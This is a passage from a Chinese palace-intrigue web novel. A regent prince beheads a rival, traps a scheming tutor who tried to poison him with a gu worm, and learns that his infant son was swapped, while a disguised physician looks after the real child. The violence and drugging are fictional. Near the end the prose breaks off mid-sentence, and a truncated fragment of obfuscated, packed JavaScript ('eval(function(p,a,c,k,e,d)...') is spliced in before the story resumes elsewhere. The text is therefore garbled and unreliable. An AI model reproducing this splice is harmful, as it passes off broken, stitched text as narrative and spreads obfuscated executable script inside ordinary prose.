“皇兄!皇兄饶命!”萧修湛的脑子一片空白,求生的本能让他扑向萧政贤。 他想求饶,起码能苟活些时日。 可萧凌川根本没给他这个机会。 一道凛冽的剑光闪过,快如闪电。 “唰——” 萧修湛的瞳孔骤然放大,脖颈处的鲜血如喷泉般涌出。 咕噜噜。 他的头颅滚落在地,沾满了灰尘与血污,那双充满惊恐和不甘的眼睛,正对着瘫软在龙椅下的萧政贤。 萧政贤被这血腥至极的一幕吓得浑身瘫软,没忍住发出惊叫声。 萧凌川缓缓收剑,剑刃上,一滴血珠顺着锋利的边缘滑落,滴在明黄色的地毯上,晕开一小团暗红。 他居高临下地瞥了一眼瘫在地上的萧政贤,嘴角勾起一抹嘲讽的弧度:“陛下为何如此惧怕?瑞王带暗卫潜入御书房,意图行刺陛下,谋权篡位。如此逆贼,难道不该就地斩杀吗?” 萧政贤当然巴不得萧修湛死! 这个三番两次逼宫的三弟,是他日日夜夜的噩梦! 可是,想他死,和亲眼看着一个活生生的人在自己面前被砍下脑袋,又是两码事! 那温热的、喷溅到他脸上的血液,带着灼人的温度,可怖至极。 他看着萧凌川那张比恶鬼还要冷酷的面容,一个更可怕的念头窜入脑海。 萧凌川,根本不是在替他清除逆贼。 他是在杀鸡儆猴! 是在给他这个皇帝一个下马威! 今天这把剑能砍下萧修湛的头,明天,是不是就能砍上他的脖颈? 巨大的恐惧如潮水般将萧政贤彻底淹没。 他眼前一黑,彻底晕死过去。 这一吓,皇帝的病体彻底垮了,终日卧床不起,汤药不断,却始终不见好转。 国不可一日无君。 拥护萧凌川的朝臣们立刻抓住了这个千载难逢的机会,联名上奏,恳请景王萧凌川为摄政王,代天子处理朝政。 萧凌川在朝堂之上,假意推辞了三次,直言自己德薄能鲜,不堪此重任。 直到朝臣们跪了一地,以死相逼,他才“万般无奈”地应允下来,正式摄政。 大权在握的第一件事,萧凌川便派人快马加鞭,将这个“好消息”传去了南月,并附上一封亲笔信,盛情邀请南月太傅赵谦前来大邺,参加他的摄政贺宴。 他神色阴鸷,兀自低语道:“有些旧账,是时候找赵谦一笔一笔清算了。” —— 南朔城。 萧怀瑾依照医嘱,每日三次抱着小邺君前往“幼安堂”,让那名姓姜的女医亲自喂药。 这小家伙不过几月大,身上却带着一股倔劲,旁人喂药总要哭闹,唯独在这女医手中,乖得像只小猫。 也不过两日,在她悉心照料下,小邺君的烧退了,疹子也消了大半,食欲渐开,粉嫩小脸上终于多了几分生气。 萧怀瑾本打算带着小家伙即刻过境,去南月找姜姝宁的,然而事与愿违。 一封急报传来,皇帝病重,朝中局势骤变,景王萧凌川一跃成为大邺摄政王,权倾朝野。 更令人不安的是,南月国的太傅赵谦受邀,将亲临大邺参加摄政王的贺宴。 为确保此人安全,南朔城严加戒备,边境封锁,任何人不得擅自出入,直至贺宴结束。 偏僻的城墙下,萧怀瑾立在风中,玄色披风被吹得猎猎作响。 阿齐忍不住低声道:“殿下,这景王莫不是心怀叵测,想要借机谋权?咱们是否该即刻回宫,以防他对崔家不利?” 萧怀瑾目光深邃,语气中透着几分冷冽:“四哥的野心,早已不是什么秘事,朝中谁人不知?如今他尚需崔家助力,料想不会对外祖他们下手。 我只担心,他与南月暗中勾结。此次特意请来南月太傅,绝非简单示好,其中必有蹊跷。你速去查探,这赵谦究竟是何来历,与景王又有何交情!” “是,属下这就去办!”阿齐抱拳领命,匆匆离去。 萧怀瑾负手而立,望向远处阴沉的天际,心中沉重。 他不得不滞留南朔,计划尽数被打乱。 然而,城中最高兴的,莫过于“幼安堂”的姜姝宁。 她为了把小邺君在身边,甚至曾动过念头,偷偷给孩子喂些相冲的药草,让他病症反复,可每每看到那张纯真小脸,心便软得像化开的春雪,哪里舍得下手? 她又想过对“萧凌川”下药,让他身染小恙,无法离城,可一想到那人冷酷无情的性子,若被察觉,后果不堪设想。 如今南朔城被迫封锁,城中人不得随意出行,这意外之举反倒让她与小邺君多出了相处的时光。 一有空闲,她便往清风轩去,给小邺君送吃食和药物,顺便抱一抱他。 小邺君似也与她心有灵犀,每次被她抱在怀中,便赖着不肯走,若被强行抱开,小嘴一扁,眼泪便扑簌簌掉下来,哭得人心都碎了。 萧怀瑾见状,不由道:“便是乳母,也得花上几日才能与他亲近,你不过抱了他两三回,他便这般黏你。女医果真有讨孩子欢心的本事。” 姜姝宁心中一酸,暗想,这何尝不是血脉相连的天性使然? “小君儿晓得是我治好了他的病,自然与我亲近些。”她似是不经意地问,“君儿几月大了?可满半岁了?” “快七个月了。”萧怀瑾答道,目光落在小邺君身上,带着几分不易察觉的柔和。 “既过了半岁,便能吃些母乳外的吃食了。”姜姝宁眼波微转,笑意更深,“我这刚熬了些蛋羹,细腻软糯,正适合他尝尝鲜。” 她从食盒里端出一小碗蛋羹,亲自喂给小邺君。 小家伙尝了一口,眼睛立时亮了起来,吃得津津有味,舔尽最后一口后还砸吧着小嘴,似是意犹未尽。 萧怀瑾瞧着有趣,回去便命乳母照样做些蛋羹,怎料小邺君却偏不买账,闻都不闻一口,执拗得紧,非要姜姝宁亲手做的才肯吃。 无奈之下,萧怀瑾只得亲自带着小邺君,再次登门“幼安堂”,向姜姝宁讨要蛋羹的方子。 正赶上她熬制肉糜粥,香气扑鼻,她顺手舀了一小勺喂给小邺君,小家伙又吃得欢快。 萧怀瑾不由暗自称奇,这女医不仅医术了得,连做的吃食都能如此合孩子的胃口,难怪南朔城中但凡有孩子生病,父母都争相将人送来“幼安堂”。 他见女医对孩子们关怀备至,耐心细腻,心中对她的戒备渐消,甚至不再忌讳她为小邺君准备吃食。 阿齐却看不过眼,见殿下日日抱着小邺君往“幼安堂”跑,忍不住低声提醒:“殿下,您不觉得这女医似有刻意而为?她让小公子对她生出依赖,属下总觉她别有所图!” 萧怀瑾闻言,眸光微冷,沉声问:“你以为她图谋什么?” 阿齐支吾片刻,脸上闪过一抹尴尬,小声道:“这小城里的医女,许是……对殿下有意?没准还想借机攀高枝,做小公子的后母!” “荒唐!”萧怀瑾脸色骤沉,语气中带着不容置疑的寒意。 第333章 她图的,只是他的钱财罢了 第三百三十三章 她图的,只是他的钱财罢了 “以后这种无稽之谈,不必再说。”萧怀瑾冷声呵斥,“本王留在这里,是为了等南朔解封。与一个医女多接触,不过是为君儿的身体着想。你有空闲在这里胡乱揣测,不如多派些人手,盯紧了城中动向,看看除了南月太傅,还有没有别的可疑之人入境。” “是,属下知错!”阿齐立刻躬身领命,不敢再有半分揣测。 可他的话,就像一颗投入平静湖面的石子,在萧怀瑾心湖里漾开了一圈圈无法忽视的涟漪。 他不由自主地回想起与那女医相处的点点滴滴。 她身上似乎有种莫名的熟悉感,让他不由自主想亲近。 除了姜姝宁,他从未对其他女子萌生过这种亲近的念头。 他心里已经有了姜姝宁,为何会被一个不过相识数日的女医拨动心弦? 难道仅仅因为她与姜姝宁一般,精通医术、厨艺出众,又恰好深得小邺君的欢心? 还是因为她眉眼间那抹似曾相识的温柔,总让他想起那个曾在心底烙下深深痕迹的女子? 萧怀瑾的眉头越皱越紧。 他强迫自己将这些纷乱的思绪压下去。 不过一介医女罢了,怎配与他心上之人相提并论? 可心底深处,却有一个声音在低语:若她当真无关紧要,自己为何每次想到她,心中总有种难以言喻的悸动? 第二天一早,当乳母再次愁眉苦脸地端着原封未动的蛋羹回来时,萧怀瑾所有的冷静和理智,都随着小邺君越来越响亮的哭声,一并碎裂了。 如今小邺君的食量与日俱增,单靠母乳早已无法果腹。 然而这小家伙却挑食得紧,若是不合口味的吃食,哪怕饿得紧,也绝不肯多吃一口。 他最终还是抱着孩子,再次踏入了“幼安堂”的院子。 姜姝宁今日换了一身浅青色的布裙,正蹲在药圃里侍弄几株新栽的草药。 晨光洒在她身上,勾勒出纤细而柔和的轮廓。 萧怀瑾看着她的侧影,有一瞬间的错觉,好像看到了魂牵梦绕的姜姝宁。 这个女人,为何连侧影都那么像她? 直到她转过头来,露出一张和姜姝宁没有半点相似的面容,萧怀瑾才如梦初醒。 他深吸一口气,抱着小邺君上前。 “姜女医,你这还有吃食吗?” “君儿又不肯吃东西?”她站起身,拍了拍手上的泥土,语气里带着几分了然的笑意。 那笑容落在萧怀瑾眼中,不知为何,竟让他生出几分狼狈。 他冷冷应了一声,声音有些僵硬。 姜姝宁没在意他的冷淡,熟稔地从他怀里接过小邺君,轻轻颠了颠,柔声哄着:“君儿乖,不哭不哭,是不是饿了呀?姜姨这就给你做好吃的。” 说来也怪,那撕心裂肺的哭声,到了她怀里,竟奇迹般地止住了,只剩下小声的抽噎,一双泪汪汪的大眼睛可怜巴巴地望着她。 这一幕,让萧怀瑾的心头莫名一刺。 他想起阿齐的话——“故意让小公子依赖她”。 难道……是真的? 这个念头一起,他看姜姝宁的眼神便带上了审视和冷意。 他决定要将心中这暧昧不明的情愫彻底斩断。 “姜女医。”他忽然开口,声音比方才更加冷硬。 姜姝宁正准备抱孩子去后厨,闻言脚步一顿,回头看他:“公子有事?” 萧怀瑾从袖中取出一只分量不轻的钱袋,递到她面前。 “这是这些时日君儿吃食的费用,往后,还请姜女医费心。需要多少,你只管开口。” 他刻意将“费用”二字咬得很重,语气疏离而客气,像是在与一个纯粹的生意人谈价钱。 他想用银钱划开一道清晰的界限,告诉她,他们之间,除了买卖关系,什么都没有。 姜姝宁脸上的笑意一点点凝固。 男人的脸上没什么表情,但那双深邃的眼眸里,却写满了拒人于千里之外的冷漠。 他这是什么意思? 是嫌她多事了? 还是觉得她一个医女,对他的孩子过分殷勤,是别有所图? 也是,他可是景王“萧凌川”,一个心狠手辣、多疑成性的疯子。 自己这般主动亲近他的孩子,频频示好,难免会惹来猜忌。 或许,收下这钱财,反倒能稍稍打消他的疑心,让他以为她不过是个贪图小利的寻常医女。 想到此处,姜姝宁强压下心底的不适,缓缓接过他递来的沉甸甸的钱袋,挤出一抹感激的笑意:“谢公子赏赐!” 萧怀瑾的脸色彻底冷了下来。 原来,她所做的一切,不过是为了这区区银钱! 阿齐怎会胡乱揣测,说她对他有所图? 她图的,分明不是他这个人,而是他手中的财物罢了! 姜姝宁接过钱袋后,随手放在石桌上,低头对怀里的小邺君柔声道:“今天给你做了山药泥,最是养脾胃的,我们君儿肯定会喜欢的。” 她抱着孩子转身进了后厨,没再看萧怀瑾一眼。 萧怀瑾站在原地,心里说不出是什么滋味。 是失落吗? 他觉得自己一定是疯了。 —— 南月。 赵谦接到大邺传来的密信时,激动得双手都在颤抖。 萧凌川果然没让他失望,真的把大邺的江山“拿下”了! 他眼中闪烁着贪婪与得意的光芒。 下一步,就是将萧凌川这枚棋子彻底掌控在手中。 只要控制了萧凌川,整个大邺便会沦为南月的附属国,一步步被南月吞噬,尽归他手! 思来想去,最稳妥的法子,还是下蛊。 只有中了蛊的人,才会对他死心塌地,言听计从。 只是,萧凌川疑心极重,手段又狠辣,寻常人根本近不了他的身,更别提下蛊了。 稍有不慎便是万劫不复,满盘皆输。 此等大事,容不得半点差池,唯有他亲自出马,方能确保万无一失。 赵谦对此胸有成竹。 毕竟,当初在南月,为了赢得这景王的信赖,他不惜亲手杀了花连城,甚至主动献上南月帝位,以示忠诚。 在萧凌川眼中,他不过是一个念及旧情、为故人花芷若之子鞠躬尽瘁的忠臣,绝无半点异心。 伪装一直是赵谦最擅长的伎俩。 他骗过了所有人,就连花连城到死都将他视作唯一可以托付的肱股之臣。 萧凌川,又怎么会是他的对手? 于是,赵谦欣然应允,带着那份精心筹备、暗藏杀机的“贺礼”,只身前往大邺赴宴。 第334章 出了口恶气 第三百三十四章 出了口恶气 摄政王贺宴,设在皇宫的太和殿,金碧辉煌,极尽奢华。 萧凌川果然如赵谦所料,亲自在殿外迎接,姿态放得极低,一口一个“太傅”,尊敬有加。 “太傅远道而来,本王不胜感激。若无太傅当初鼎力相助,便无本王的今日。如今南月和大邺都尽在掌控中,是时候将两国合而为一,成就一番千秋伟业了!” 萧凌川亲自为他引路,面上笑意如春风拂柳,态度恭敬得令人无从挑剔,目光却深邃如渊,藏着旁人窥不透的寒芒。 赵谦心中冷笑,脸上却是一副恭敬万分的模样:“王爷言重了,老臣不过尽了分内之责罢了。能见王爷君临大邺,威震四方,老臣便是九泉之下亦无憾矣!王爷,南月江山今后便仰仗您开疆拓土,再创辉煌!” 宴席之上,歌舞升平,觥筹交错。 赵谦寻了个时机,趁着宫人倒酒的间隙,将藏在指甲缝里的无色无味的蛊虫卵弹入了一个琉璃酒杯中。 他端起酒杯,颤颤巍巍地站起身,对主位上的萧凌川道:“王爷,老臣敬您一杯。祝王爷千秋万代,祝大邺国运昌盛!” 萧凌川扬唇一笑,从侍从手中接过那杯酒,目光扫过赵谦那张儒雅伪善的脸,随后,将杯中酒一饮而尽。 成了! 赵谦心中狂喜,紧绷的神经终于松懈下来。 他安心地端起自己面前的酒杯,也跟着一饮而尽,以示坦荡。 然而,酒刚入喉,一股异样的眩晕感猛地袭来。 眼前的歌舞人影开始变得模糊,耳边的丝竹之声也仿佛从遥远的天边传来。 他想开口呼救,却发现喉咙像是被什么东西堵住,发不出半点声音。 “砰”的一声,赵谦一头栽倒在酒桌上,打翻了杯盏,人事不知。 …… 不知过了多久,赵谦在一阵刺骨的寒意中悠悠醒来。 鼻尖充斥着潮湿、腐败的霉味,身下是冰冷粗糙的稻草。 他猛地睁开眼,发现自己竟被关在一间阴暗的地牢里! 手脚都被粗重的铁链锁着,动弹不得。 “王爷……您……您这是何意啊?”赵谦惊恐地看着牢房外那个静静站立的身影,声音抖得不成样子。 萧凌川站在阴影里,脸上的神情晦暗不明,只有那双眼睛,亮得像地狱里的鬼火。 他缓缓笑了起来,那笑声在空旷的地牢里回荡,显得格外阴森可怖。 “太傅大人,除了用蛊虫这种下三滥的手段,怕是再也拿不出别的本事了吧?”萧凌川的声音很轻,却像一把淬了冰的刀子,一字一句地扎进赵谦的心里,“都这么多年了,怎么就一点长进都没有呢?” 赵谦脸色瞬间煞白如纸:“王爷……老臣……老臣不知您是何意?” “还装?”萧凌川向前一步,走到牢门前,烛火照亮了他半边脸,那上面的神情,是毫不掩饰的憎恶与杀意,“当年,你不就是用同样的法子,给我母亲下了蛊,才让她对你死心塌地,甘愿成为你刺杀我父皇的棋子吗?” 赵谦的脑子里仿佛有惊雷炸开,他浑身剧烈地颤抖起来,眼珠子瞪得几乎要从眼眶里掉出来。 “不……这不可能!”他失声尖叫,“你母亲死的时候,你分明……只是个尚在襁褓的婴孩!你怎么可能知道这些事……” “是啊,一个襁褓里的婴孩,能知道什么呢?”萧凌川的眼神变得愈发阴鸷狰狞,像是从地狱爬回来的恶鬼,“可我就是看见了!她死的那日,我亲眼看见那条恶心的虫子,从她冰冷的身体里钻了出来!那一刻,我就发誓,总有一天,我要让那个下蛊的人,也尝尝什么叫……生不如死!” 赵谦彻底崩溃了,他怎么也想不通,自己隐藏得天衣无缝的秘密,是如何被一个婴孩知晓的! 当初,若不是他给花芷若下了蛊,这个南月唯一的公主是无论如何都不愿背井离乡,远赴大邺和亲的。 他怕她坏了刺杀大邺皇帝的计划,便找来南月最厉害的蛊师,炼制一种可千里之外操控人心的奇蛊,用以操控她。 后来刺杀计划失败,她便成了颗废棋,他自然也懒得理会。 他做梦也没想到,她的亲生儿子竟知道此事! “太傅以为自己那些肮脏的手段,真的无人知晓吗?”萧凌川的脸上浮现出一抹残忍的笑意,“可惜啊,本王还是知道了!” 他后退一步,声音陡然拔高:“来人!给太傅大人上点东西!” 话音刚落,几个狱卒便抬着一筐又一筐的东西走了过来。 随着“哗啦”几声,无数滑腻、冰冷的活物被倒进了牢房里。 花花绿绿的毒蛇,黑压压的蝎子,还有各种叫不出名字的毒虫,瞬间覆盖了地面,争先恐后地朝着赵谦的身体爬去。 “啊——!不!不要!萧凌川!你这个疯子!你不得好死——!” 地牢深处,顿时传来一阵撕心裂肺、惨绝人寰的嚎叫声,久久不绝…… 那股盘踞在心头多年的怨毒,随着赵谦的哀嚎,终于消散了些许。 萧凌川胸中郁结的恶气,总算是吐了出来。 —— 书房内,烛火通明。 萧凌川换了一身干净的锦袍,亲手研墨,在雪白的宣纸上写下一道诏书。 南月,那片他母亲的故土,如今群龙无首,正是彻底收归麾下的最好时机。 而他,顶着“南月新帝”的名号,行事更是名正言顺。 “七弟。”他放下笔,将诏书递给早已等候在一旁的萧琪钰。 萧琪钰快步上前,双手接过,展开细看。 当看到“摄政王”三个字时,他的手微微一抖,脸上是掩饰不住的激动与忐忑。 “如今本王能全然信任的,只有你了。”萧凌川神色慎重,“南月多年来对大邺虎视眈眈,只有将它彻底驯服,才能永绝后患。 此番你去南月,不单是替本王监国,更要紧的是,去做些真正利国利民的事。兴建水利,改良农种,让南月的百姓吃饱穿暖,他们自然会明白,谁才是真正能给他们带来安稳日子的人。” “四哥放心!”萧琪钰紧紧攥着那份诏书,眼眶有些发热,“四哥既将南月交付于我,我定倾尽心力,使其偃武修文,百姓安乐。从此,这片土地只闻耕读之声,不见刀兵之影,永绝其对他国的觊觎之心!” 在大邺,他不过是一个尚未受封的七王爷,皇室之中人才辈出,摄政王这般至高无上的权位,本是轮不到他的。 但四哥对他信任有加,委以重任,如此知遇之恩,萧琪钰怎能不感激涕零? “只是……”他话锋一转,眉宇间染上几分忧虑,“七弟不在京城的这段日子,四哥你一定要多加小心魏国公和大长公主。他们可不是那么容易屈服的主儿!” 萧修湛谋逆,其母族及镇国将军府被满门抄斩。 可偏偏那老谋深算的魏国公将自己摘得一干二净,让人抓不到半点错处。 他曾与萧修湛沆瀣一气,甚至不惜送上美人,意图待他生下长子后联手夺权,其狼子野心,昭然若揭。 “本王记下了。”萧凌川淡淡应道,“会多加小心的。时候不早了,你即刻启程吧。” “是!” 送走萧琪钰,书房内再次恢复了寂静。 萧凌川走到窗边,看着庭院中被风吹得摇曳的树影,方才压抑下去的焦躁又一点点从心底浮起。 他对着阴影处,冷声开口:“南朔城如今怎么样?可有王妃的下落?” 他比任何人都清楚,姜姝宁若要从南月抵达大邺京城找孩子,南朔城是必经之路。 因此,他早已在那里布下了天罗地网,只等她自投罗网。 一道黑影无声无息地跪在他身后,声音里透着无法掩饰的紧张:“启禀王爷……那日,有眼线在城门口看到一名女子,长相酷似王妃。可……她身边的男子和妇人警觉得很,发现我们的人后,便用了一把毒粉将眼线的眼睛毒瞎,后来……后来他就跟丢了……” “跟丢了?”萧凌川猛地转身,眼中瞬间燃起滔天怒火,“废物!本王养着你们,就是让你们把人跟丢的吗?!” “王爷饶命!”暗卫吓得魂飞魄散,连忙叩首,“王爷!但……我们最近在南朔城发现了宁王殿下的踪迹!他……带着一个婴孩,时常出入城南一家药馆。属下查过,那药馆的掌柜,是个姓姜的女医……” “宁王?”萧凌川的动作一滞,眉心猛地一跳。他死死盯着暗卫,声音沙哑,“他带着一个婴孩?你看清楚了?!” “绝……绝对没有看错!”暗卫以为抓住了救命稻草,语速极快地回禀,“线人说,宁王殿下对那婴孩宝贝得紧,时常亲自抱着,一步都不让下人沾手。身边还跟了两个乳母,随时伺候着,生怕照顾不好孩子……” 电光石火间,一个荒诞至极的念头如惊雷般在他脑海中炸开:那个孩子,难道是…… 第335章 假小世子被偷 第三百三十五章 假小世子被偷 萧凌川径直去了安置那孩子的偏院。 孩子被乳母抱在怀里,睡得正香,小脸白嫩,像一块温润的玉。 比起刚接回来,如今养得愈发珠圆玉润,颇为讨喜。 听到脚步声,乳母连忙起身行礼,怀里的孩子也被惊醒,睁开一双乌溜溜的眼睛,怯生生地望着门口。 一见到萧凌川,那孩子小嘴一瘪,像是要哭,却又不敢哭出声,只是把脸埋进乳母的怀里,小小的身子瑟瑟发抖。 萧凌川的眉头拧了起来。 他身上常年沾染凌厉的气息,寻常孩童怕他,倒也正常。 可自己的骨肉,怎会怕他至此? 他走上前,仔仔细细端详着孩子的眉眼。 很漂亮的孩子,眉清目秀。 可他看来看去,也找不出一丝一毫姜姝宁的影子。 那双眼睛,那鼻子,那嘴巴,都与记忆中那张让他魂牵梦萦的脸,没有半分相似。 也不像他。 他看向乳母,声音听不出喜怒:“你觉得,这孩子跟本王像吗?” 乳母吓得“噗通”一声跪倒在地,脸色惨白,汗珠子顺着额角往下淌:“王爷……这……” “无妨,你如实说便是。” 乳母哪里敢说实话,只是一个劲儿地磕头,声音抖得不成样子:“王爷,孩子……孩子还没长开,看不出像父亲……实属正常……” 萧凌川见她这副畏缩的样子,心中有些不耐,索性唤来了管家和凌芜。 管家是个老人精,一听这要命的问题,立刻打起了太极,躬着身子,满脸堆笑:“王爷,孩子还小,一天一个样,看不真切,看不真切。” 萧凌川只能将目光转向一旁的凌芜。 凌芜抱拳行礼,面无表情,声音却清清楚楚,掷地有声:“回王爷,这孩子确实长得不像您,也不像王妃。属下从前时常抱小世子,虽然相隔了几个月,可属下总觉得,他的性子跟从前不一样。小世子从前更活泼,胆子也大,可这孩子……太怯生了。” 此言一出,管家和乳母的冷汗都下来了,恨不得当场堵住凌芜的嘴。 萧凌川没有如预想的大发雷霆,他点了点头,大手一挥:“来人,赏!” 凌芜单膝跪地:“谢王爷赏赐!” 萧凌川没再多看那孩子一眼,转身拂袖而去,只留下一院子战战兢兢的下人。 直到他的背影彻底消失,乳母才敢从地上爬起来,拉着凌芜的袖子,声音发颤:“凌芜姑娘,你可知……王爷为何突然问这个问题?” 管家也凑了过来,擦着额头的冷汗:“这王爷的脾气,阴晴不定,尤其是一沾上王妃的事,就跟个火药桶似的。他这……难不成是怀疑王妃生的孩子,不是他的血脉?” 凌芜看着那依旧缩在乳母怀里,眼神惊恐的婴孩,神色是前所未有的凝重。 她缓缓开口,一字一句,都像冰块砸在地上。 “我们的小世子,怕是早就被人掉包了。” 不出三日,一辆不起眼的马车便从西榆日夜兼程地赶回了京城,孙神医被客客气气地请进了景王府。 密室之内,烛火摇曳。 一碗清水,一根银针,两滴鲜血。 一滴来自萧凌川,一滴来自那个婴孩。 两滴殷红的血珠在清澈的水中各自漂浮,泾渭分明,像是隔着无法逾越的天堑,任凭孙神医如何晃动瓷碗,也始终不肯相融。 结果,不言而喻。 萧凌川盯着那碗水,许久没有说话。 密室里的空气仿佛都凝固了,压抑得让人喘不过气。 突然,他笑了起来。 那笑声低沉,从喉咙里滚出来,带着一种令人毛骨悚然的疯狂。 “萧怀瑾……你真是好样的,竟敢使计换走本王的孩子!” 当夜,景王府的马厩便备好了最快的千里马,萧凌川一身劲装,行囊简单,连夜启程,奔赴南朔。 他要去找回姜姝宁,找回他真正的儿子! 而就在他们前脚刚走,后脚,一个穿着粗布短打,面容普通的小厮,便趁着换班的空隙,悄无声息地混进了王府的后厨。 没人认出,这张平平无奇的脸下,藏着的是姜天泽那张俊逸却布满阴云的面容。 他服了易容丸,潜伏在王府里,小心翼翼地打探着消息。 当他从下人们的闲聊中,确认景王府里确实养着一个几个月大的婴孩时,浑身上下的血液几乎在瞬间凝固。 阿宁她,真的和萧凌川有了一个孩子! 这个真相像一把淬了毒的尖刀,狠狠扎进他的心脏,疼得他几乎无法呼吸。 不行,他不能让阿宁的孩子,继续留在这个恶魔的身边! 这段时间,姜天泽摸清了偏院的守卫规律,萧凌川的离开正好给了他一个带走孩子的契机。 他将迷药混在熏香里,点燃在院子的下风口。 很快,守夜的婆子和巡逻的家丁便一个个东倒西歪,睡得不省人事。 他如鬼魅般潜入房中,看着睡在摇篮里的婴孩,心中五味杂陈。 这就是阿宁的孩子吗? 他伸出手,动作轻柔地将孩子抱起,用早就准备好的包被裹好。 婴孩在睡梦中砸了咂嘴,并未醒来。 姜天泽抱着孩子,身形敏捷地翻出院墙,消失在夜色中。 他不知道,在他离开后,一道黑色的身影从屋顶的阴影处悄然落下,如同暗夜里的猎鹰,无声无息地跟了上去。 凌芜远远地跟着,心中满是疑窦。 她看着那个“小厮”将孩子带到城南的一家客栈,又花重金寻了个乳母,千叮咛万嘱咐要她好生照料襁褓里的婴孩,紧接着,他连夜带着他们启程南下。 看他这一路的方向,也是南朔。 凌芜眯起了眼睛。 他行事谨慎,身手不凡,对孩子又颇为上心,不像是要加害的模样。 还好府里这个小世子是假的。 否则,她今夜拼了这条命,也绝不会让他把人带走。 这人到底是谁,为何要打景王小世子的主意? 强烈的好奇心驱使着她,凌芜决定暂不声张,一路尾随,定要查清此人的身份和目的。 第336章 买不到她的真心 第三百三十六章买不到她的真心 “清风轩”客栈的上房里,窗户半开,南朔城独有的潮湿的风灌了进来,吹得桌上烛火一阵摇曳。 “殿下,不好了。”阿齐的声音压得极低,像一块石头沉入深井,“我们的人查出,那个南月的太傅赵谦,从前是南月公主花芷若的未婚夫。后来公主远嫁我们大邺和亲,两人的婚约才作罢。” 萧怀瑾正临窗而立,闻言,周身的气息骤然冷了下来。 他缓缓转过身,清隽的面容阴云密布,犹如暴雨将至。 “此事,皇兄可知?” “陛下如今龙体抱恙,已经多日不理朝事。更何况……景王的人将养心殿围得铁桶一般,我们的人就算想禀告,也根本近不了陛下的身!”阿齐无奈道。 “难道就要眼睁睁看着萧凌川勾结南月,行此等狼子野心之事,对我大邺图谋不轨吗?” 萧怀瑾眉头紧蹙,眼底是熊熊燃烧的怒火。 阿齐上前一步,急切道:“殿下,京城传来密信,景王已经秘密南下!他此行,十有**是想与南月的人会面,商议如何侵占我大邺疆土!殿下,我们不能再坐视不理了!” “本王身为大邺皇室血脉,岂容南月宵小之辈觊觎我朝江山!”萧怀瑾冷声道,“备马!本王即刻启程回京,必须尽快将景王的阴谋诡计告知皇兄与顾御史!” “是!”阿齐领命,转身欲走,却又猛地顿住脚步,脸上露出为难之色,“那……小公子怎么办?” 萧怀瑾思忖片刻道:“此行凶险,本王没法带着他。你留下,和乳母一起照顾好他。” “殿下,属下不行的!”阿齐一听,头摇得像拨浪鼓,“小公子那脾气您是知道的,他真闹起来,两个乳母都奈何不了他,属下一个五大三粗的男人,哪懂得怎么哄孩子啊?” 阿齐的话提醒了萧怀瑾。 他想起君儿平日里耍起小性子来,是如何的惊天动地,任凭自己如何哄都无济于事。 前几日若不是城中“幼安堂”的那位姜女医,用几样新奇的点心吃食哄住了他,那小祖宗不知要闹到何时才能消停。 说起来,那位姜女医待君儿,确实是用了心的。 萧怀瑾的思绪不由得飘远,回到半月前的一个深夜。 那晚君儿积食,哭闹不休,哭声几乎要掀翻客栈的屋顶。 他束手无策,在房里焦躁地踱步了半个时辰,最后实在没法子,只能硬着头皮去敲响了“幼安堂”的门。 夜半被扰,换做是谁都会有几分火气。 可那扇门打开时,露出的却是一张虽有睡意、但并无不耐的清秀脸庞。 “孩子怎么了?”姜女医只问了这一句,便披上外衣跟着他回了客栈。 她没有一句怨言,只是俯下身,认真地给小邺君检查,然后回去取了药材,借用客栈的后厨,亲自熬药、喂药。 君儿不肯喝,她就极有耐心地拿着小勺,边哄边见缝插针地喂。 整个过程,她专注而温柔,脸上没有半点不耐。 直到窗外天色泛起鱼肚白,小邺君的哭声才渐渐止住,在她怀中沉沉睡去。 萧怀瑾接过襁褓里的小邺君,看着姜女医布满血丝的双眼和疲惫的侧脸,心中竟生出一丝自己都未曾察觉的歉疚。 “姜女医辛苦了,熬了一整夜,快回去歇息吧。” 她却只是摆摆手,脸上漾开一个浅淡的笑:“那可不行,天亮了,药馆还得开门呢。这儿不比别处,要是关了门,那些生了病的孩子就得多熬一天,光是想想就觉得心疼。” “可你一夜未睡,身子撑得住吗?” 她笑了笑,给自己打气似的:“不妨事,我自然有法子!” 萧怀瑾没再多言,抱着小家伙回了客栈。 等他补足了觉,下午时分再经过“幼安堂”,却见那本该疲惫不堪的女人,正一边条理清晰地给生病的孩童开着药方,一边端起手边的茶杯,将一杯浓得发黑的苦茶一饮而尽。 原来,这就是她所谓的“法子”。 那一瞬间,萧怀瑾看着她仰头饮茶时那截脆弱的脖颈,心脏像是被什么东西不轻不重地撞了一下,泛起一阵阵悸动。 这个女医,除了脸,其余的地方,都像极了姜姝宁。 一样的倔强,一样的凡事都先为旁人着想,哪怕委屈了自己,熬干了自己,也毫不在意。 “殿下?殿下?”阿齐的声音将萧怀瑾从回忆中拉了回来。 他收回思绪,眼中的波澜归于平静,对阿齐道:“你说得对,你和两个乳母,未必能照顾好君儿。” 他顿了顿,做出了决定,“不如,先将君儿寄养在‘幼安堂’的姜女医身边。等我从京城回来,再来接他。” “殿下,这……”阿齐大惊,“您就这么信得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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只是,这姜女医的一颗真心,他怕是这辈子都得不到了。 不知为何,总觉得有些遗憾。 第337章 把孩子寄养在她身边 第三百三十七章把孩子寄养在她身边 没过多久,阿齐就拿着一个厚厚的信封回来了。 “殿下,都准备好了。这里是五百两的银票,你当真……要给姜女医这么多钱财吗?”阿齐有些不确定地问。 在他看来,照顾一个孩子几个月,哪里用得了这么多钱。 殿下竟对一个初识不久的人如此慷慨,就不怕埋下祸端吗? 萧怀瑾接过信封,掂了掂,收入袖中。 “现在就去‘幼安堂’。” “是。” 萧怀瑾抱着还在熟睡的小邺君,大步流星地走出了客栈。 阿齐紧随其后,心里七上八下的。 他总觉得,今天的殿下,浑身上下都透着一股说不出的烦躁和疏离,尤其是在决定重金将小公子托付给那个女医之后。 “幼安堂”里,姜姝宁正忙得脚不沾地。 她刚送走一个腹泻的孩子,还没来得及喝口水,就看到萧怀瑾抱着小邺君走了进来。 “萧公子?”她有些意外,“君儿可是又不舒服了?” 她说着,便习惯性地伸手想去探小邺君的额头。 萧怀瑾却下意识地侧身躲开了她的手。 他的动作很细微,但姜姝宁还是感觉到了。 